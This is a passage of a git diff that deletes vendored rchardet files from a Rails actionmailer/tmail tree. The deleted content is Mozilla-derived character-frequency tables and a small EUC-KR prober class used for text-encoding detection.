-2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611,
-2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619,
-1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628,
-2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042,
- 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642,  # 512, 256
-#Everything below is of no interest for detection purpose
-2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658,
-2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674,
-2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690,
-2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704,
-2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720,
-2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734,
-2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750,
-2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765,
-2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779,
-2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793,
-2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809,
-2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824,
-2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840,
-2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856,
-1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869,
-2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883,
-2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899,
-2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915,
-2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331,
-2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945,
-2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961,
-2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976,
-2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992,
-2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008,
-3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021,
-3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037,
-3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052,
-3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066,
-3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080,
-3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095,
-3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110,
-3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124,
-3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140,
-3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156,
-3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172,
-3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187,
-3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201,
-3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217,
-3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233,
-3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248,
-3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264,
-3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279,
-3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295,
-3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311,
-3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327,
-3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343,
-3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359,
-3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374,
-3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389,
-3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405,
-3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338,
-3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432,
-3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446,
-3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191,
-3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471,
-3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486,
-1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499,
-1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513,
-3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525,
-3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541,
-3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557,
-3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573,
-3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587,
-3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603,
-3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618,
-3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632,
-3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648,
-3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663,
-3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679,
-3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695,
-3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583,
-1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722,
-3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738,
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-6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102,
-6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118,
-6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133,
-6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147,
-6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,
-6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,
-6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194,
-6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,
-6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225,
-6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,
-6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256,
-6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271,  #1024
-6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287,
-6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699,
-6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317,
-6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,
-6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347,
-6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,
-6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,
-6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,
-6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411,
-6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425,
-6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440,
-6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456,
-6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,
-6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488,
-6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266,
-6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,
-6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535,
-6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551,
-1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565,
-6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581,
-6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597,
-6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613,
-6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629,
-6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644,
-1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659,
-6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674,
-1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689,
-6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705,
-6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721,
-6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736,
-1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748,
-6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763,
-6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779,
-6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794,
-6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711,
-6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825,
-6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840,
-6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856,
-6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872,
-6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888,
-6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903,
-6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918,
-6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934,
-6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950,
-6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,
-6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981,
-6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996,
-6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011,
-7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,
-7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042,
-7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,
-7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074,
-7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090,
-7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106,
-7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122,
-7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138,
-7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154,
-7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170,
-7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186,
-7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202,
-7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216,
-7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232,
-7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248,
-7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264,
-7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280,
-7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296,
-7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312,
-7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327,
-7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343,
-7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359,
-7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375,
-7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391,
-7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407,
-7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423,
-7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439,
-7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455,
-7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,
-7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,
-7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503,
-7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,
-7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,
-7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551,
-7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567,
-7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583,
-7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599,
-7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615,
-7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631,
-7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647,
-7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663,
-7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679,
-7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695,
-7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711,
-7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727,
-7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743,
-7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759,
-7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,
-7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,
-7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807,
-7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,
-7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,
-7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,
-7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,
-7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,
-7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,
-7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,
-7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935,
-7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951,
-7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967,
-7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983,
-7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999,
-8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,
-8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031,
-8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047,
-8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,
-8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,
-8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,
-8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111,
-8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127,
-8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143,
-8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159,
-8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175,
-8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191,
-8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207,
-8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223,
-8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239,
-8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255,
-8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271,
-8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,
-8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,
-8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319,
-8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335,
-8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,
-8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367,
-8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383,
-8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399,
-8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415,
-8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431,
-8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447,
-8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463,
-8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479,
-8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495,
-8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511,
-8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527,
-8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543,
-8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559,
-8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575,
-8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591,
-8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607,
-8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623,
-8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639,
-8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,
-8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,
-8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687,
-8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703,
-8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719,
-8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735,
-8736,8737,8738,8739,8740,8741
-]
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb
deleted file mode 100755
index 7b45e0f1..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is mozilla.org code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-module CharDet
-  class EUCKRProber < MultiByteCharSetProber
-    def initialize
-      super()
-      @_mCodingSM = CodingStateMachine.new(EUCKRSMModel)
-      @_mDistributionAnalyzer = EUCKRDistributionAnalysis.new()
-      reset()
-    end
-
-    def get_charset_name
-      return "EUC-KR"
-    end
-  end
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb
deleted file mode 100755
index 207597a5..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb
+++ /dev/null
@@ -1,430 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# The Original Code is Mozilla Communicator client code.
-#
-# The Initial Developer of the Original Code is
-# Netscape Communications Corporation.
-# Portions created by the Initial Developer are Copyright (C) 1998
-# the Initial Developer. All Rights Reserved.
-#
-# Contributor(s):
-#   Jeff Hodges - port to Ruby
-#   Mark Pilgrim - port to Python
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-# EUCTW frequency table
-# Converted from big5 work 
-# by Taiwan's Mandarin Promotion Council 
-# <http:#www.edu.tw:81/mandr/>
-
-# 128  --> 0.42261
-# 256  --> 0.57851
-# 512  --> 0.74851
-# 1024 --> 0.89384
-# 2048 --> 0.97583
-#
-# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98
-# Random Distribution Ration = 512/(5401-512)=0.105
-# 
-# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR
-
-module CharDet
-
-EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75
-
-# Char to FreqOrder table , 
-EUCTW_TABLE_SIZE = 8102
-
-EUCTWCharToFreqOrder = [
-   1,1800,1506, 255,1431, 198,   9,  82,   6,7310, 177, 202,3615,1256,2808, 110, # 2742
-3735,  33,3241, 261,  76,  44,2113,  16,2931,2184,1176, 659,3868,  26,3404,2643, # 2758
-1198,3869,3313,4060, 410,2211, 302, 590, 361,1963,   8, 204,  58,4296,7311,1931, # 2774
-  63,7312,7313, 317,1614,  75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790
-3616,   3,  10,3870,1471,  29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806
-4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932,  34,3501,3173,  64, 604, # 2822
-7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337,  72, 406,7319,  80, # 2838
- 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449,  69,2969, 591, # 2854
- 179,2095, 471, 115,2034,1843,  60,  50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870
- 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886
-2495,  90,2707,1338, 663,  11, 906,1099,2545,  20,2436, 182, 532,1716,7321, 732, # 2902
-1376,4062,1311,1420,3175,  25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918
